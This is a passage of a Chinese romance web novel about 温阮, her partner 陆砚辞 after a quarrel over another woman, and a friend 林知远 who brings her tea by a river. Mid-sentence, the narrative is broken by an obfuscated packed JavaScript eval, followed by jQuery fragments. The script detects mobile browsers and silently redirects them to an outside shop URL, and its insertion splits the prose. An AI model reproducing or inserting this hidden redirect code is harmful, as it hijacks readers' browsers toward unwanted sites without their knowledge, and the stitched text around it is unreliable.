陆砚辞蹲在床边蹲了很久。
温阮没有再看他，也没有说话。
她低头看着自己的手指，指甲剪得短短的，在灯光下泛着一层薄薄的粉。
窗外传来鸟叫，是麻雀，在银杏树上跳来跳去，抖落枝丫上最后一点残雪。
他站起来的时候膝盖咔了一声，扶着床沿站稳，然后走到她面前蹲下来。
“温阮，你跟我说句话。”
她抬眼看了他一下，又低下去。
他的手指轻轻碰了一下她的手背，小心翼翼地，像是怕碰碎什么。
他把手放在她手背上，掌心贴着她的皮肤，温暖干燥。
“我错了，”他说，“我不该让她来家里。”
温阮把手从他手底下抽出来，放在自己膝盖上。
陆砚辞的手空了，悬在那里，指头微微蜷了一下又松开。
他站起来，在房间里转了一圈，走到窗边又走回来，双手叉在腰上又放下来。
“她脚崴了是挺严重，但我不该带回来。”他说，“我让你受委屈了。”
温阮终于开口了:“你说完了？”
他愣了一下:“说完了。”
“那你去楼下看看她走到哪了。”
陆砚辞看着她，像是想从她的语气里判断她是什么意思。
他沉默了两秒，转身出去了。
她没有听到楼下有人说话的声音，只有他的脚步声下了楼，过了一分钟又上来了。
他站在门口:“她走了，自己打了车。”
温阮站起来，走到衣帽间。她拉开柜子，从里面拿出那个帆布袋，打开拉链，把那本《局外人》放进去，又把那张牛皮纸书签夹进书里。
她拉上袋子拉链，转过身，陆砚辞站在衣帽间门口。
“你要去哪？”
“出去走走。”
“我陪你。”
“不用。”她把帆布袋抱在怀里，“你每次陪我，陪到最后都会走。”
她的语气很平，没有怨，没有气，像是在陈述一件已经发生过很多次的事情。
陆砚辞站在门口，一只手撑着门框，指节泛白。
她从他身边走过去，下了楼。经过客厅的时候，茶几上许若溪留下的一只一次性纸杯还没丢，里面剩了半杯水。
她看了一眼，没有动。
走出玄关的时候，他追出来，站在台阶上喊了一声她的名字。
她没有回头。
走出院子门的时候，她听到身后传来一声闷响，什么东西撞在了门框上。
她停了半步，又继续往前走了。
她没有去书店。
她坐在小区后面的河边长椅上，把帆布袋放在膝盖上。天冷，椅子是木头的，冰凉透过裤子渗进来。她坐着，看着河面上那层薄冰慢慢化成水，阳光照上去，亮晶晶的。
手机响了，她掏出来看，是林知远发的消息:书店来了新茶，要不要来尝尝？
她打了两个字:改天。
他把电话打了过来:“你没在书店？听你声音不太对。”
“在河边坐着。”
“哪条河？”
“小区后面那条。”
“冷吗？”
“冷。”
他沉默了一下:“你等我一下。”
过了大概二十分钟，一辆旧自行车停在河边的步道上。
林知远骑过来的，后座上绑着一个保温壶。
他支好车，走过来坐到长椅的另一头，把保温壶拧开倒了一杯热茶递给她。
“姜枣的，驱寒。”他说。
她接过来捧在手心里，杯壁烫烫的，从掌心一直暖到手指尖。
她喝了一口，姜味冲上来，辣辣的，带着一点红枣的甜。
林知远坐在旁边，没有问。
他手里也端着一杯茶，两个人就这么并肩坐在河边，看着阳光把冰面晒出一层薄薄的水光。
“冷了就回去。”他说。
“不想回去。”
“那就待着。”他把杯盖拧回去，放回保温壶上，“我那儿有热茶，随时能给你送。”
温阮低着头，看着杯子里的热气慢慢升起来，在冷空气里变成一小团白雾，散了又聚，聚了又散。
她口袋里手机又响了。
她没看，但感觉到口袋一直在震，震了一会儿停了。然后又响了，又是停了又响。
她依然没有掏出来看，只是捧着那杯热茶，一口一口地喝。
温阮回到家的时候，天已经擦黑了。
陆砚辞坐在客厅沙发上，面前的烟灰缸里堆满了烟头。他听到门响站起来，走过来的步子很快，在她面前站定的时候，他身上的烟味扑面而来。
“你去哪了？”他问，声音哑透了。
“河边。”
“跟谁？”
“林知远。”
陆砚辞的腮帮子绷了一下，那个线条在他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17777099|210050||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
下颌上收紧又松开。
他的手攥了一下又放开，深吸了一口气:“你跟他在一起待了一下午？”
“他给我送了壶热茶。”温阮换了鞋，把帆布袋放在玄关柜上，“怎么，你又要查？”
“我不是查你。”他压着声音，“我只是担心你。”
“你担心我的方式就是坐在家里抽烟？”
陆砚辞被她这句话刺了一下，眉头皱起来。他伸手拉她胳膊，被她躲开了。她的手避过他的手指，动作不算大，但很坚决。他的手悬在那里，指头微微张着，像是抓住了一团空气。
“温阮，你能不能不要每次一有事就跑？”他的声音高了一点，“你跟我吵也行，你骂我也行，你跑什么？”
“我不跑，”温阮转过身看着他，“我跑了你就能安安心心照顾别人。”
“我照顾谁了？”
“许若溪。你带她回家，你当着她的面怀疑我，你跟我吵完第一反应是去确认她走没走到哪了。”
温阮的声音不高，但每个字都清清亮亮的，“你问我跑什么？我坐在那里看你们俩一唱一和，我不跑我要做什么？”
陆砚辞的脸色白了一瞬。他张了张嘴，喉咙里像是卡着东西。
“我没有怀疑你，”他说，声音低下来，“我只是问她东西丢了——”
“你当时的第一反应是看我。”温阮打断他，“你看我的眼神，你看我有没有心虚。”
他沉默了几秒，手从身侧抬起来扶了一下额头，手指**头发里又抽出来。刘海被他揉乱了，几缕支棱在额前，显得狼狈。
“我当时是着急，”他说，“我着急是怕你们闹僵。”
温阮看着他，他站在那里，肩膀微微塌着，像是被什么东西压得很重。她忽然觉得有点累，是从骨头缝里渗出来的那种累，让她连站直都觉得费劲。
“陆砚辞，你每次都说你是在处理。你处理她的行李，处理她的脚，处理她的情绪。你把我放在旁边，等处理完了再回来找我。”她看着他，“你想过没有，我也需要人处理。”
他上前一步，把她抱住。
他的手臂箍得很紧，脸埋在她头发里，呼吸急促。她没有挣扎，也没有回抱，就那么站着，让他抱着。她感觉到他的身体在抖，很轻的震动传过来，一下一下的。
“对不起。”他说了一遍又一遍。